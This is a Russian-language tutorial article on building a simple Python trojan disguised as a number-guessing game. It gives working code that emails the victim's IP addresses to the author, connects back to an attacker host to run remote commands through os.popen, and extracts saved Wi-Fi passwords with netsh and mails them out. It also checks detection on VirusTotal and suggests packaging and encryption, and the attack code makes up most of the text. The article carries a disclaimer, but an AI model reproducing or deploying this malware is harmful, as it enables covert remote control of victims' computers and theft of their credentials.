January 8, 2022

Крадущийся питон. Создаем простейший троян на Python

В этой статье я рас­ска­жу, как написать на Python прос­тей­ший тро­ян с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если ты не зна­ешь Python, ты смо­жешь луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Ко­неч­но, при­веден­ные в статье скрип­ты никак не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют нап­рочь. Тем не менее при некото­рой сме­кал­ке их воз­можно исполь­зовать для нес­ложных пакос­тей — нап­ример, вырубить чей‑нибудь компь­ютер в клас­се (или в офи­се, если в клас­се ты не наиг­рался).

ТЕОРИЯ

Итак, что вооб­ще такое тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт.

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го. Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

WARNING

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор, ни редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Пом­ни об этом.

ОПРЕДЕЛЯЕМ IP

Сна­чала нам (то есть нашему тро­яну) нуж­но опре­делить­ся, где он ока­зал­ся. Важ­ная часть тво­ей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

import socket

from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у тебя отсутс­тву­ют, их нуж­но уста­новить коман­дой pip.

pip install socket

pip install requests

INFO

Ес­ли ты видишь ошиб­ку, что у тебя отсутс­тву­ет pip, сна­чала нуж­но уста­новить его с сай­та pypi.org. Любопыт­но, что рекомен­дуемый спо­соб уста­нов­ки pip — через pip, что, конеч­но, очень полез­но, ког­да его нет.

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­ти вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, Wi-Fi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

# Определяем имя устройства в сети

hostname = socket.gethostname()

# Определяем локальный (внутри сети) IP-адрес

local_ip = socket.gethostbyname(hostname)

# Определяем глобальный (публичный / в интернете) IP-адрес

public_ip = get('http://api.ipify.org').text

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все нем­ного слож­нее.

Я выб­рал сайт api.ipify.org, так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

print(f'Хост: {hostname}')

print(f'Локальный IP: {local_ip}')

print(f'Публичный IP: {public_ip}')

Ни­ког­да не встре­чал конс­трук­ции типа print(f'{}')? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. Прос­тыми сло­вами — прог­рам­мные встав­ки пря­мо в стро­ку.

INFO

Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это тебе на JavaScript!).

Фи­наль­ный код:

import socket

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get('http://api.ipify.org').text

print(f'Хост: {hostname}')

print(f'Локальный IP: {local_ip}')

print(f'Публичный IP: {public_ip}')

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

БЭККОННЕКТ ПО ПОЧТЕ

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через pip install):

import smtplib as smtp

from getpass import getpass

Пи­шем базовую информа­цию о себе:

# Почта, с которой будет отправлено письмо

email = '[email protected]'

# Пароль от нее (вместо ***)

password = '***'

# Почта, на которую отправляем письмо

dest_email = '[email protected]'

# Тема письма

subject = 'IP'

# Текст письма

email_text = 'TEXT'

Даль­ше сфор­миру­ем пись­мо:

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса

server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)

server.ehlo(email) # Отправляем hello-пакет на сервер

server.login(email, password) # Заходим на почту, с которой будем отправлять письмо

server.auth_plain() # Авторизуемся

server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)

server.quit() # Отключаемся от сервера

В стро­ке server.ehlo(email) мы исполь­зуем коман­ду EHLO. Боль­шинс­тво сер­веров SMTP под­держи­вают ESMTP и EHLO. Если сер­вер, к которо­му ты пыта­ешь­ся под­клю­чить­ся, не под­держи­вает EHLO, мож­но исполь­зовать HELO.

Пол­ный код этой час­ти тро­яна:

import smtplib as smtp

import socket

from getpass import getpass

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get('http://api.ipify.org').text

email = '[email protected]'

password = '***'

dest_email = '[email protected]'

subject = 'IP'

email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

server = smtp.SMTP_SSL('smtp.yandex.com')

server.set_debuglevel(1)

server.ehlo(email)

server.login(email, password)

server.auth_plain()

server.sendmail(email, dest_email, message)

server.quit()

За­пус­тив этот скрипт, получа­ем пись­мо.

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

ТРОЯН

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

import random
import socket
import threading
import os

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

# Создаем функцию игры
def game():
    # Берем случайное число от 0 до 1000
    number = random.randint(0, 1000)
    # Счетчик попыток
    tries = 1
    # Флаг завершения игры
    done = False
    # Пока игра не закончена, просим ввести новое число
    while not done:
        guess = input('Введите число: ')
        # Если ввели число
        if guess.isdigit():
            # Конвертируем его в целое
            guess = int(guess)
            # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе
            if guess == number:
                done = True
                print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.')
            # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше
            else:
                tries += 1
                if guess > number:
                    print('Загаданное число меньше!')
                else:
                    print('Загаданное число больше!')
        # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново
        else:
            print('Это не число от 0 до 1000!')

INFO

За­чем столь­ко слож­ностей с про­вер­кой на чис­ло? Мож­но было прос­то написать guess = int(input('Введите число: ')). Если бы мы написа­ли так, то при вво­де чего угод­но, кро­ме чис­ла, выпада­ла бы ошиб­ка, а это­го допус­тить нель­зя, так как ошиб­ка зас­тавит прог­рамму оста­новить­ся и обру­бит соеди­нение.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

# Создаем функцию трояна
def trojan():
    # IP-адрес атакуемого
    HOST = '192.168.2.112'
    # Порт, по которому мы работаем
    PORT = 9090
    # Создаем эхо-сервер
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
    while True:
        # Вводим команду серверу
        server_command = client.recv(1024).decode('cp866')
        # Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминалом
        if server_command == 'cmdon':
            cmd_mode = True
            # Отправляем информацию на сервер
            client.send('Получен доступ к терминалу'.encode('cp866'))
            continue
        # Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминалом
        if server_command == 'cmdoff':
            cmd_mode = False
        # Если запущен режим работы с терминалом, вводим команду в терминал через сервер
        if cmd_mode:
            os.popen(server_command)
        # Если же режим работы с терминалом выключен — можно вводить любые команды
        else:
            if server_command == 'hello':
                print('Hello World!')
        # Если команда дошла до клиента — выслать ответ
        client.send(f'{server_command} успешно отправлена!'.encode('cp866'))

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Итак, стро­ка client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ). AF_INET озна­чает работу с IPv4-адре­саци­ей, а SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка client.connect((HOST, PORT)) ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция client.recv(1024) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема. Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то ты руками вво­дишь в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

Ко­ман­да decode('cp866') декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но cp866? Зай­дем в коман­дную стро­ку и вве­дем коман­ду chcp.

Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть utf-8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.

INFO

При желании кодиров­ку мож­но поменять в коман­дной стро­ке, наб­рав пос­ле chcp ее номер. Юни­код име­ет номер 65001.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет тебе домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давай еще пароли от Wi-Fi ста­щим!

WI-FI-СТИЛЕР

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

import subprocess
import time

Мо­дуль subprocess нужен для соз­дания новых про­цес­сов и соеди­нения c потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей Wi-Fi:

# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
# Создаем список всех названий всех профилей сети (имена сетей)
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
# Для каждого имени...
for Wi-Fi in Wi-Fis:
    # ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear
    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
    # Забираем ключ
    results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
    # Пытаемся его вывести в командной строке, отсекая все ошибки
    try:
        print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}')
    except IndexError:
        print(f'Имя сети: {Wi-Fi}, Пароль не найден!')

Вве­дя коман­ду netsh wlan show profiles в коман­дной стро­ке, мы получим сле­дующее.

netsh wlan show profiles

Ес­ли рас­парсить вывод выше и под­ста­вить имя сети в коман­ду netsh wlan show profile [имя сети] key=clear, резуль­тат будет как на кар­тинке. Его мож­но разоб­рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear
Вер­дикт VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

if server_command == 'Wi-Fi':
    data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
    Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
    for Wi-Fi in Wi-Fis:
        results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
        results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
        try:
            email = '[email protected]'
            password = '***'
            dest_email = '[email protected]'
            subject = 'Wi-Fi'
            email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')
            message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
            server = smtp.SMTP_SSL('smtp.yandex.com')
            server.set_debuglevel(1)
            server.ehlo(email)
            server.login(email, password)
            server.auth_plain()
            server.sendmail(email, dest_email, message)
            server.quit()
        except IndexError:
            email = '[email protected]'
            password = '***'
            dest_email = '[email protected]'
            subject = 'Wi-Fi'
            email_text = (f'Name: {Wi-Fi}, Password not found!')
            message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
            server = smtp.SMTP_SSL('smtp.yandex.com')
            server.set_debuglevel(1)
            server.ehlo(email)
            server.login(email, password)
            server.auth_plain()
            server.sendmail(email, dest_email, message)
            server.quit()

INFO

Этот скрипт прост как два руб­ля и ожи­дает уви­деть рус­ско­языч­ную сис­тему. На дру­гих язы­ках это не сра­бота­ет, но испра­вить поведе­ние скрип­та мож­но прос­тым выбором раз­делите­ля из сло­варя, где ключ — обна­ружен­ный на компь­юте­ре язык, а зна­чение — тре­буемая фра­за на нуж­ном язы­ке.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

Ре­зуль­тат

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

И конеч­но, сам вирус очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

ЗАКЛЮЧЕНИЕ

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что ты ува­жаешь закон, а получен­ные зна­ния о тро­янах тебе никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будь акку­ратен!